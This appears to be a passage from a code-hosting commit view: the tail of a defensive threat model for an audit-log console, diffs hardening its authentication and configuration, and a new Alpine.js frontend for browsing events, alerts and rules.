**Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`.
**Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
**Risk level:** LOW — requires valid auth and is noisy.
---
## 4. Webhook Abuse — MEDIUM
### 4.1 Graph Change Notification Webhook
**Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications:
- Echoes `validationToken` for subscription handshake
- Accepts notifications with optional `clientState` validation
- `WEBHOOK_CLIENT_SECRET` is empty by default
**Attack scenario 1 — Subscription hijacking:**
1. Attacker discovers the webhook URL (via API enumeration or guess)
2. Attacker creates a Graph subscription pointing to the AOC webhook URL
3. Attacker receives change notifications for the subscribed resource
**Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default.
**Attack scenario 2 — Validation token abuse:**
1. Attacker sends a POST to `/api/webhooks/graph?validationToken=<arbitrary content>`
2. AOC echoes the token back as `text/plain`
3. Could be used for cache poisoning or response splitting
**Mitigation:** Length and ASCII validation added in v1.7.12.
**Recommendation:**
- Require `WEBHOOK_CLIENT_SECRET` to be set in production
- Document that the webhook endpoint should NOT be exposed to the public internet
---
## 5. Supply Chain — MEDIUM
### 5.1 CDN Scripts Without Subresource Integrity (SRI)
**Finding:** The frontend loads two external scripts without SRI hashes:
```html
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
```
**Attack scenario:**
1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack)
2. Malicious JavaScript is served instead of the legitimate library
3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
**Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing.
**Recommendation:**
- Add SRI hashes to both script tags:
```html
<script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
```
- Or vendor the JS files and serve them from the same origin
---
## 6. Privilege Escalation — MEDIUM
### 6.1 Application Permissions Bypass User Boundaries
**Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in.
**Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
- `PRIVACY_SERVICES` is not configured, OR
- `PRIVACY_SERVICE_ROLES` is not configured
**Recommendation:**
- Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES`
- Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
---
## 7. Miscellaneous Vectors — LOW
### 7.1 Token Cache in Memory
**Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly.
**Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`.
### 7.2 MongoDB Connection String
**Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
**Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file).
### 7.3 Audit Trail Log Injection
**Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
**Risk level:** LOW — audit logs are not currently rendered in the UI.
---
## Risk Summary
| Vector | Severity | Likelihood | Requires |
|--------|----------|------------|----------|
| Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access |
| LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access |
| SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access |
| CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack |
| Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration |
| Webhook subscription hijacking | **MEDIUM** | Low | URL discovery |
| DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise |
| Application permissions bypass boundaries | **MEDIUM** | High | Default config |
| Token replay | LOW | Low | Token theft |
| Audit log injection | LOW | Low | Filter manipulation |
---
## Immediate Recommendations
1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup
2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL`
3. **Add SRI hashes** to CDN script tags, or vendor the libraries
4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured
5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production
6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY`
7. **Add per-user filtering option** — restrict events to those involving the authenticated user
+1 -1
View File
@@ -1 +1 @@
1.7.11 1.7.18
+27 -11
View File
@@ -1,4 +1,6 @@
import asyncio
import contextvars import contextvars
import threading
import time import time
import requests import requests
@@ -20,23 +22,37 @@ from jwt.algorithms import RSAAlgorithm
_auth_context: contextvars.ContextVar[dict | None] = contextvars.ContextVar("auth_context", default=None) _auth_context: contextvars.ContextVar[dict | None] = contextvars.ContextVar("auth_context", default=None)
JWKS_CACHE = {"exp": 0, "keys": []} JWKS_CACHE = {"exp": 0, "keys": []}
_jwks_lock = threading.Lock()
logger = structlog.get_logger("aoc.auth") logger = structlog.get_logger("aoc.auth")
def _get_jwks(): def _fetch_jwks_blocking() -> list:
now = time.time() """Fetch JWKS from Microsoft — runs in a thread, never in the event loop."""
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
return JWKS_CACHE["keys"]
oidc = requests.get( oidc = requests.get(
f"https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration", f"https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration",
timeout=10, timeout=10,
).json() ).json()
jwks_uri = oidc["jwks_uri"] jwks_uri = oidc["jwks_uri"]
keys = requests.get(jwks_uri, timeout=10).json()["keys"] return requests.get(jwks_uri, timeout=10).json()["keys"]
JWKS_CACHE["keys"] = keys
JWKS_CACHE["exp"] = now + 60 * 60 # cache 1h
return keys def _get_jwks():
now = time.time()
with _jwks_lock:
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
return JWKS_CACHE["keys"]
keys = _fetch_jwks_blocking()
JWKS_CACHE["keys"] = keys
JWKS_CACHE["exp"] = now + 60 * 60 # cache 1h
return keys
async def _get_jwks_async() -> list:
"""Non-blocking JWKS fetch: return from cache or refresh in a thread pool."""
now = time.time()
if JWKS_CACHE["keys"] and JWKS_CACHE["exp"] > now:
return JWKS_CACHE["keys"]
return await asyncio.to_thread(_get_jwks)
def _allowed(claims: dict, allowed_roles: set[str], allowed_groups: set[str]) -> bool: def _allowed(claims: dict, allowed_roles: set[str], allowed_groups: set[str]) -> bool:
@@ -96,7 +112,7 @@ def user_can_access_privacy_services(claims: dict) -> bool:
return bool(user_roles.intersection(PRIVACY_SERVICE_ROLES)) return bool(user_roles.intersection(PRIVACY_SERVICE_ROLES))
def require_auth(authorization: str | None = Header(None)): async def require_auth(authorization: str | None = Header(None)):
if not AUTH_ENABLED: if not AUTH_ENABLED:
user = {"sub": "anonymous"} user = {"sub": "anonymous"}
_auth_context.set(user) _auth_context.set(user)
@@ -106,7 +122,7 @@ def require_auth(authorization: str | None = Header(None)):
raise HTTPException(status_code=401, detail="Missing bearer token") raise HTTPException(status_code=401, detail="Missing bearer token")
token = authorization.split(" ", 1)[1] token = authorization.split(" ", 1)[1]
jwks = _get_jwks() jwks = await _get_jwks_async()
claims = _decode_token(token, jwks) claims = _decode_token(token, jwks)
if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS): if not _allowed(claims, AUTH_ALLOWED_ROLES, AUTH_ALLOWED_GROUPS):
+28 -1
View File
@@ -1,4 +1,10 @@
from pydantic_settings import BaseSettings, SettingsConfigDict from secrets_manager import load_key_vault_secrets
# Pre-load Azure Key Vault secrets into os.environ before pydantic-settings reads them.
# This is a no-op if AZURE_KEY_VAULT_NAME is not set.
load_key_vault_secrets()
from pydantic_settings import BaseSettings, SettingsConfigDict # noqa: E402
class Settings(BaseSettings): class Settings(BaseSettings):
@@ -76,6 +82,19 @@ class Settings(BaseSettings):
RATE_LIMIT_REQUESTS: int = 120 RATE_LIMIT_REQUESTS: int = 120
RATE_LIMIT_WINDOW_SECONDS: int = 60 RATE_LIMIT_WINDOW_SECONDS: int = 60
# Security / docs exposure
DOCS_ENABLED: bool = False
METRICS_ALLOWED_IPS: str = "127.0.0.1,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
# LLM endpoint restriction (comma-separated domains, e.g. "api.openai.com,*.openai.azure.com")
LLM_ALLOWED_DOMAINS: str = ""
# SIEM webhook restriction (comma-separated domains)
SIEM_ALLOWED_DOMAINS: str = ""
# Optional Azure Key Vault integration for secrets
AZURE_KEY_VAULT_NAME: str = ""
_settings = Settings() _settings = Settings()
@@ -127,3 +146,11 @@ WEBHOOK_CLIENT_SECRET = _settings.WEBHOOK_CLIENT_SECRET
RATE_LIMIT_ENABLED = _settings.RATE_LIMIT_ENABLED RATE_LIMIT_ENABLED = _settings.RATE_LIMIT_ENABLED
RATE_LIMIT_REQUESTS = _settings.RATE_LIMIT_REQUESTS RATE_LIMIT_REQUESTS = _settings.RATE_LIMIT_REQUESTS
RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS
DOCS_ENABLED = _settings.DOCS_ENABLED
METRICS_ALLOWED_IPS = _settings.METRICS_ALLOWED_IPS
LLM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.LLM_ALLOWED_DOMAINS.split(",") if d.strip()]
SIEM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.SIEM_ALLOWED_DOMAINS.split(",") if d.strip()]
AZURE_KEY_VAULT_NAME = _settings.AZURE_KEY_VAULT_NAME
+820
View File
@@ -0,0 +1,820 @@
function aocApp() {
return {
events: [],
sourceHealth: [],
statusText: '',
countText: '',
cursorStack: [],
nextCursor: null,
currentCursor: null,
modalOpen: false,
modalBody: '',
modalEventId: '',
modalExplanation: '',
modalExplainLoading: false,
modalExplainError: '',
authBtnText: 'Login',
authConfig: null,
msalInstance: null,
account: null,
accessToken: null,
authScopes: [],
filters: {
actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '',
},
panelState: { sourceHealth: true, alerts: true, rules: true, filters: true, ask: true, events: true },
options: { actors: [], services: [], operations: [], results: [] },
savedSearches: [],
appVersion: '',
repoUrl: 'https://git.cqre.net/cqrenet/aoc',
docsUrl: 'https://git.cqre.net/cqrenet/aoc/src/branch/main/README.md',
aiFeaturesEnabled: true,
alertSummary: { total_open: 0, high: 0, medium: 0, low: 0 },
alerts: [],
alertsTotal: 0,
alertsPage: 1,
alertsFilter: { status: 'open', severity: '' },
rules: [],
ruleModalOpen: false,
ruleEditId: null,
ruleEdit: { name: '', enabled: true, severity: 'medium', message: '', conditions: [] },
askQuestionText: '',
askLoading: false,
askAnswer: '',
askAnswerHtml: '',
askEvents: [],
askLlmUsed: false,
askLlmError: '',
async initApp() {
await this.loadVersion();
await this.initAuth();
this.loadSavedFilters();
this.loadPanelState();
if (!this.authConfig?.auth_enabled || this.accessToken) {
await this.loadFilterOptions();
await this.loadSavedSearches();
await this.loadSourceHealth();
await this.loadAlertSummary();
await this.loadAlerts();
await this.loadRules();
await this.loadEvents();
}
},
loadSavedFilters() {
try {
const saved = localStorage.getItem('aoc_filters');
if (!saved) return;
const parsed = JSON.parse(saved);
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
fields.forEach((f) => {
if (parsed[f] !== undefined) this.filters[f] = parsed[f];
});
} catch {}
},
saveFilters() {
try {
localStorage.setItem('aoc_filters', JSON.stringify(this.filters));
} catch {}
},
loadPanelState() {
try {
const saved = localStorage.getItem('aoc_panels');
if (saved) {
const parsed = JSON.parse(saved);
Object.keys(parsed).forEach((k) => { if (this.panelState[k] !== undefined) this.panelState[k] = parsed[k]; });
}
} catch {}
},
savePanelState() {
try {
localStorage.setItem('aoc_panels', JSON.stringify(this.panelState));
} catch {}
},
togglePanel(key) {
this.panelState[key] = !this.panelState[key];
this.savePanelState();
},
async loadVersion() {
try {
const res = await fetch('/api/version');
if (res.ok) {
const body = await res.json();
this.appVersion = (body.version || '').replace(/^v/, '');
}
} catch {}
},
authHeader() {
return this.accessToken ? { Authorization: `Bearer ${this.accessToken}` } : {};
},
pickToken(res) {
if (!res) return null;
const clientId = this.authConfig?.client_id;
// If accessToken is present and its audience matches our API, use it.
if (res.accessToken && clientId) {
try {
const base64 = res.accessToken.split('.')[1].replace(/-/g, '+').replace(/_/g, '/');
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
const payload = JSON.parse(atob(padded));
if (payload.aud === clientId) {
return res.accessToken;
}
} catch {}
}
// Fall back to idToken (always aud=clientId) or accessToken
return res.idToken || res.accessToken || null;
},
async initAuth() {
try {
const res = await fetch('/api/config/auth');
if (!res.ok) {
console.error('Auth config fetch failed:', res.status, res.statusText);
this.authConfig = { auth_enabled: false, _error: res.status };
} else {
this.authConfig = await res.json();
}
} catch (err) {
console.error('Auth config fetch error:', err);
this.authConfig = { auth_enabled: false, _error: 'network' };
}
try {
const featRes = await fetch('/api/config/features');
if (featRes.ok) {
const featBody = await featRes.json();
this.aiFeaturesEnabled = featBody.ai_features_enabled !== false;
if (featBody.default_page_size) {
this.filters.limit = featBody.default_page_size;
} else {
this.filters.limit = 24;
}
} else {
this.aiFeaturesEnabled = true;
}
} catch {
this.aiFeaturesEnabled = true;
}
if (!this.authConfig?.auth_enabled) {
this.authBtnText = 'Auth: OFF';
console.warn('AOC auth is disabled. Set AUTH_ENABLED=true in .env to enable login.');
return;
}
const tenantId = this.authConfig.tenant_id;
const clientId = this.authConfig.client_id;
if (!clientId || !tenantId) {
this.authBtnText = 'Auth: misconfigured';
this.statusText = 'Auth is enabled but client_id or tenant_id is missing. Check .env configuration.';
console.error('AOC auth misconfigured: missing client_id or tenant_id in /api/config/auth');
return;
}
if (typeof msal === 'undefined' || !msal.PublicClientApplication) {
this.statusText = 'Login library failed to load. Please check network or CDN.';
return;
}
const baseScope = this.authConfig.scope || "";
this.authScopes = Array.from(new Set(['openid', 'profile', 'email', ...baseScope.split(/[ ,]+/).filter(Boolean)]));
const authority = `https://login.microsoftonline.com/${tenantId}`;
const redirectUri = window.location.origin;
this.msalInstance = new msal.PublicClientApplication({
auth: { clientId, authority, redirectUri },
cache: { cacheLocation: 'sessionStorage' },
});
const redirectResult = await this.msalInstance.handleRedirectPromise().catch(() => null);
if (redirectResult) {
this.account = redirectResult.account;
this.msalInstance.setActiveAccount(this.account);
this.accessToken = this.pickToken(redirectResult);
} else {
const accounts = this.msalInstance.getAllAccounts();
if (accounts.length) {
this.account = accounts[0];
this.msalInstance.setActiveAccount(this.account);
this.accessToken = await this.acquireToken(this.authScopes);
}
}
this.updateAuthButtons();
},
async acquireToken(scopes) {
if (!this.msalInstance || !this.account) return null;
const request = { scopes: scopes && scopes.length ? scopes : ['openid', 'profile', 'email'], account: this.account };
try {
const res = await this.msalInstance.acquireTokenSilent(request);
return this.pickToken(res);
} catch {
const res = await this.msalInstance.acquireTokenPopup(request);
return this.pickToken(res);
}
},
updateAuthButtons() {
const loggedIn = !!this.account;
if (this.authConfig?.auth_enabled) {
this.authBtnText = loggedIn ? 'Logout' : 'Login';
}
if (loggedIn) {
this.acquireToken(this.authScopes).then((t) => { if (t) this.accessToken = t; }).catch(() => {});
this.statusText = '';
} else if (this.authConfig?.auth_enabled) {
this.statusText = 'Please log in to view events.';
}
},
async toggleAuth() {
if (!this.authConfig?.auth_enabled || !this.msalInstance) return;
if (this.account) {
const acc = this.msalInstance.getActiveAccount();
this.accessToken = null;
this.account = null;
this.updateAuthButtons();
if (acc) await this.msalInstance.logoutPopup({ account: acc });
return;
}
const scopes = this.authScopes && this.authScopes.length ? this.authScopes : ['openid', 'profile', 'email'];
this.statusText = 'Redirecting to sign in...';
this.msalInstance.loginRedirect({ scopes });
},
async loadEvents(cursor) {
this.currentCursor = cursor || null;
const params = new URLSearchParams();
['actor', 'operation', 'result', 'search'].forEach((key) => {
const val = this.filters[key];
if (val) params.append(key, val);
});
if (this.filters.selectedServices && this.filters.selectedServices.length) {
this.filters.selectedServices.forEach((s) => params.append('services', s));
}
if (this.filters.includeTags) {
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
}
if (this.filters.excludeTags) {
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
}
if (this.filters.start) {
const d = new Date(this.filters.start);
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
}
if (this.filters.end) {
const d = new Date(this.filters.end);
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
}
params.append('page_size', String(this.filters.limit || 50));
if (cursor) params.append('cursor', cursor);
this.statusText = 'Loading events…';
this.countText = '';
if (this.authConfig?.auth_enabled && !this.accessToken) {
this.statusText = 'Please sign in to load events.';
return;
}
try {
const res = await fetch(`/api/events?${params.toString()}`, { headers: { Accept: 'application/json', ...this.authHeader() } });
if (!res.ok) throw new Error(`Request failed: ${res.status} ${await res.text()}`);
const body = await res.json();
this.events = body.items || [];
this.nextCursor = body.next_cursor || null;
this.countText = body.total >= 0 ? `${body.total} event${body.total === 1 ? '' : 's'}` : '';
this.statusText = this.events.length ? '' : 'No events found for these filters.';
this.saveFilters();
} catch (err) {
this.statusText = err.message || 'Failed to load events.';
}
},
async fetchLogs() {
this.statusText = 'Fetching latest audit logs…';
if (this.authConfig?.auth_enabled && !this.accessToken) {
this.statusText = 'Please sign in first.';
return;
}
try {
const res = await fetch('/api/fetch-audit-logs', { headers: this.authHeader() });
if (!res.ok) throw new Error(`Fetch failed: ${res.status} ${await res.text()}`);
const body = await res.json();
const errs = Array.isArray(body.errors) && body.errors.length ? `Warnings: ${body.errors.join(' | ')}` : '';
this.statusText = `Fetched and stored ${body.stored_events || 0} events.${errs ? ' ' + errs : ''} Refreshing list…`;
this.resetPagination();
await this.loadEvents();
await this.loadSourceHealth();
} catch (err) {
this.statusText = err.message || 'Failed to fetch audit logs.';
}
},
async loadFilterOptions() {
if (this.authConfig?.auth_enabled && !this.accessToken) return;
try {
const res = await fetch('/api/filter-options', { headers: this.authHeader() });
if (!res.ok) return;
const opts = await res.json();
this.options.actors = (opts.actors || []).slice(0, 200);
this.options.services = (opts.services || []).slice(0, 200);
this.options.operations = (opts.operations || []).slice(0, 200);
this.options.results = (opts.results || []).slice(0, 200);
const saved = localStorage.getItem('aoc_filters');
if (!saved && this.options.services.length) {
// Default: show all services (privacy controls handle exclusions server-side)
this.filters.selectedServices = [...this.options.services];
} else if (saved) {
try {
const parsed = JSON.parse(saved);
if (parsed.selectedServices) {
this.filters.selectedServices = parsed.selectedServices.filter((s) => this.options.services.includes(s));
}
} catch {}
}
} catch {}
},
async loadSourceHealth() {
try {
const res = await fetch('/api/source-health', { headers: this.authHeader() });
if (!res.ok) return;
this.sourceHealth = await res.json();
} catch {}
},
async loadSavedSearches() {
try {
const res = await fetch('/api/saved-searches', { headers: this.authHeader() });
if (!res.ok) return;
this.savedSearches = await res.json();
} catch {}
},
async saveCurrentFilters() {
const name = prompt('Name this saved filter:');
if (!name || !name.trim()) return;
try {
const res = await fetch('/api/saved-searches', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ name: name.trim(), filters: { ...this.filters } }),
});
if (!res.ok) throw new Error(await res.text());
const created = await res.json();
this.savedSearches.unshift(created);
this.statusText = 'Filters saved.';
setTimeout(() => { if (this.statusText === 'Filters saved.') this.statusText = ''; }, 2000);
} catch (err) {
this.statusText = err.message || 'Failed to save filters.';
}
},
applySavedSearch(ss) {
if (!ss || !ss.filters) return;
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
fields.forEach((f) => {
if (ss.filters[f] !== undefined) this.filters[f] = ss.filters[f];
});
// Validate selectedServices against current options
this.filters.selectedServices = this.filters.selectedServices.filter((s) => this.options.services.includes(s));
this.resetPagination();
this.loadEvents();
},
async deleteSavedSearch(id) {
if (!confirm('Delete this saved search?')) return;
try {
const res = await fetch(`/api/saved-searches/${id}`, {
method: 'DELETE',
headers: this.authHeader(),
});
if (!res.ok) throw new Error(await res.text());
this.savedSearches = this.savedSearches.filter((s) => s.id !== id);
} catch (err) {
this.statusText = err.message || 'Failed to delete saved search.';
}
},
resetPagination() {
this.cursorStack = [];
this.nextCursor = null;
this.currentCursor = null;
},
goPrev() {
if (this.cursorStack.length) {
const prevCursor = this.cursorStack.pop();
this.loadEvents(prevCursor);
}
},
goNext() {
if (this.nextCursor) {
this.cursorStack.push(this.currentCursor);
this.loadEvents(this.nextCursor);
}
},
clearFilters() {
this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '' };
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
filterByService(service) {
if (!service) return;
this.filters.selectedServices = [service];
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
filterByResult(result) {
if (!result) return;
this.filters.result = this.filters.result === result ? '' : result;
this.saveFilters();
this.resetPagination();
this.loadEvents();
},
async loadAlertSummary() {
try {
const res = await fetch('/api/alerts/summary', { headers: this.authHeader() });
if (!res.ok) return;
const body = await res.json();
this.alertSummary.total_open = body.total_open || 0;
const sev = body.by_status_severity || [];
this.alertSummary.high = sev.filter((s) => s._id.severity === 'high' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
this.alertSummary.medium = sev.filter((s) => s._id.severity === 'medium' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
this.alertSummary.low = sev.filter((s) => s._id.severity === 'low' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
} catch {}
},
async loadAlerts() {
try {
const params = new URLSearchParams();
params.append('page_size', '20');
params.append('page', String(this.alertsPage));
if (this.alertsFilter.status) params.append('status', this.alertsFilter.status);
if (this.alertsFilter.severity) params.append('severity', this.alertsFilter.severity);
const res = await fetch(`/api/alerts?${params.toString()}`, { headers: this.authHeader() });
if (!res.ok) return;
const body = await res.json();
this.alerts = body.items || [];
this.alertsTotal = body.total || 0;
} catch {}
},
async updateAlertStatus(alertId, status) {
try {
const res = await fetch(`/api/alerts/${alertId}/status`, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ status }),
});
if (res.ok) {
await this.loadAlerts();
await this.loadAlertSummary();
}
} catch {}
},
async loadRules() {
try {
const res = await fetch('/api/rules', { headers: this.authHeader() });
if (!res.ok) return;
this.rules = await res.json();
} catch {}
},
openRuleEditor(rule) {
if (rule) {
this.ruleEditId = rule.id;
this.ruleEdit = {
name: rule.name,
enabled: rule.enabled,
severity: rule.severity,
message: rule.message,
conditions: JSON.parse(JSON.stringify(rule.conditions)),
};
} else {
this.ruleEditId = null;
this.ruleEdit = { name: '', enabled: true, severity: 'medium', message: '', conditions: [] };
}
this.ruleModalOpen = true;
},
async saveRule() {
const payload = { ...this.ruleEdit };
try {
const url = this.ruleEditId ? `/api/rules/${this.ruleEditId}` : '/api/rules';
const method = this.ruleEditId ? 'PUT' : 'POST';
const res = await fetch(url, {
method,
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify(payload),
});
if (!res.ok) throw new Error(await res.text());
this.ruleModalOpen = false;
await this.loadRules();
} catch (err) {
alert('Failed to save rule: ' + err.message);
}
},
async toggleRule(ruleId, enabled) {
try {
const rule = this.rules.find((r) => r.id === ruleId);
if (!rule) return;
const res = await fetch(`/api/rules/${ruleId}`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ ...rule, enabled }),
});
if (res.ok) await this.loadRules();
} catch {}
},
async deleteRule(ruleId) {
if (!confirm('Delete this rule?')) return;
try {
const res = await fetch(`/api/rules/${ruleId}`, {
method: 'DELETE',
headers: this.authHeader(),
});
if (res.ok) await this.loadRules();
} catch {}
},
async askQuestion() {
const q = this.askQuestionText.trim();
if (!q) return;
this.askLoading = true;
this.askAnswer = '';
this.askAnswerHtml = '';
this.askEvents = [];
this.askLlmError = '';
const payload = { question: q };
if (this.filters.selectedServices && this.filters.selectedServices.length) {
payload.services = this.filters.selectedServices;
}
if (this.filters.actor) payload.actor = this.filters.actor;
if (this.filters.operation) payload.operation = this.filters.operation;
if (this.filters.result) payload.result = this.filters.result;
if (this.filters.start) payload.start = new Date(this.filters.start).toISOString();
if (this.filters.end) payload.end = new Date(this.filters.end).toISOString();
if (this.filters.includeTags) {
payload.include_tags = this.filters.includeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
}
if (this.filters.excludeTags) {
payload.exclude_tags = this.filters.excludeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
}
try {
const res = await fetch('/api/ask', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify(payload),
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.askAnswer = body.answer;
this.askAnswerHtml = this._mdToHtml(body.answer);
this.askEvents = body.events || [];
this.askLlmUsed = body.llm_used;
this.askLlmError = body.llm_error || '';
} catch (err) {
this.askAnswer = 'Sorry, something went wrong: ' + (err.message || 'Unknown error');
this.askAnswerHtml = this.askAnswer;
} finally {
this.askLoading = false;
}
},
clearAsk() {
this.askQuestionText = '';
this.askAnswer = '';
this.askAnswerHtml = '';
this.askEvents = [];
this.askLlmUsed = false;
this.askLlmError = '';
},
_mdToHtml(text) {
// Very lightweight markdown-to-HTML for LLM answers
return text
.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
.replace(/\*\*(.+?)\*\*/g, '<strong>$1</strong>')
.replace(/\*(.+?)\*/g, '<em>$1</em>')
.replace(/`([^`]+)`/g, '<code>$1</code>')
.replace(/Event #(\d+)/g, '<strong>Event #$1</strong>')
.replace(/\n/g, '<br>');
},
hasActiveFilters() {
return this.filters.actor || this.filters.operation || this.filters.result ||
this.filters.start || this.filters.end || this.filters.includeTags ||
this.filters.excludeTags ||
(this.filters.selectedServices && this.filters.selectedServices.length &&
this.filters.selectedServices.length < this.options.services.length);
},
activeFilterSummary() {
const parts = [];
if (this.filters.actor) parts.push('actor');
if (this.filters.operation) parts.push('action');
if (this.filters.result) parts.push('result');
if (this.filters.start || this.filters.end) parts.push('time');
if (this.filters.includeTags || this.filters.excludeTags) parts.push('tags');
const svcCount = this.filters.selectedServices?.length || 0;
const allCount = this.options.services?.length || 0;
if (svcCount && svcCount < allCount) parts.push(`${svcCount} service${svcCount === 1 ? '' : 's'}`);
return parts.join(', ') || 'none';
},
async bulkTagMatching() {
const tag = prompt('Enter tag to apply to all matching events:');
if (!tag || !tag.trim()) return;
const mode = confirm('Click OK to REPLACE existing tags.\nClick Cancel to APPEND the new tag.') ? 'replace' : 'append';
const params = new URLSearchParams();
['actor', 'operation', 'result', 'search'].forEach((key) => {
const val = this.filters[key];
if (val) params.append(key, val);
});
if (this.filters.selectedServices && this.filters.selectedServices.length) {
this.filters.selectedServices.forEach((s) => params.append('services', s));
}
if (this.filters.includeTags) {
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
}
if (this.filters.excludeTags) {
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
}
if (this.filters.start) {
const d = new Date(this.filters.start);
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
}
if (this.filters.end) {
const d = new Date(this.filters.end);
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
}
this.statusText = 'Applying bulk tag…';
try {
const res = await fetch(`/api/events/bulk-tags?${params.toString()}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
body: JSON.stringify({ tags: [tag.trim()], mode }),
});
if (!res.ok) throw new Error(await res.text());
const body = await res.json();
this.statusText = `Tagged ${body.matched} events (${body.modified} modified).`;
await this.loadEvents();
} catch (err) {
this.statusText = err.message || 'Failed to apply bulk tag.';
}
},
displayActor(e) {
const app = e.actor?.application || e.actor?.app;
if (app?.displayName) return app.displayName;
return e.actor_display ||
(e.actor_resolved?.name) ||
(e.actor?.user?.displayName && e.actor?.user?.userPrincipalName && e.actor?.user?.displayName !== e.actor?.user?.userPrincipalName
? `${e.actor.user.displayName} (${e.actor.user.userPrincipalName})`
: (e.actor?.user?.displayName || e.actor?.user?.userPrincipalName)) ||
e.actor?.servicePrincipal?.displayName ||
'Unknown actor';
},
displayTargets(e) {
if (Array.isArray(e.target_displays) && e.target_displays.length) return e.target_displays.join(', ');
if (Array.isArray(e.targets) && e.targets.length) return e.targets[0].displayName || e.targets[0].id || '—';
return '—';
},
openModal(e) {
const seen = new WeakSet();
try {
this.modalBody = JSON.stringify(e.raw || e, (key, value) => {
if (typeof value === 'object' && value !== null) {
if (seen.has(value)) return '[Circular]';
seen.add(value);
}
return value;
}, 2);
} catch (err) {
this.modalBody = `Error serializing event:\n${err.message}\n\nEvent ID: ${e.id || 'N/A'}`;
}
this.modalEventId = e.id || '';
this.modalExplanation = '';
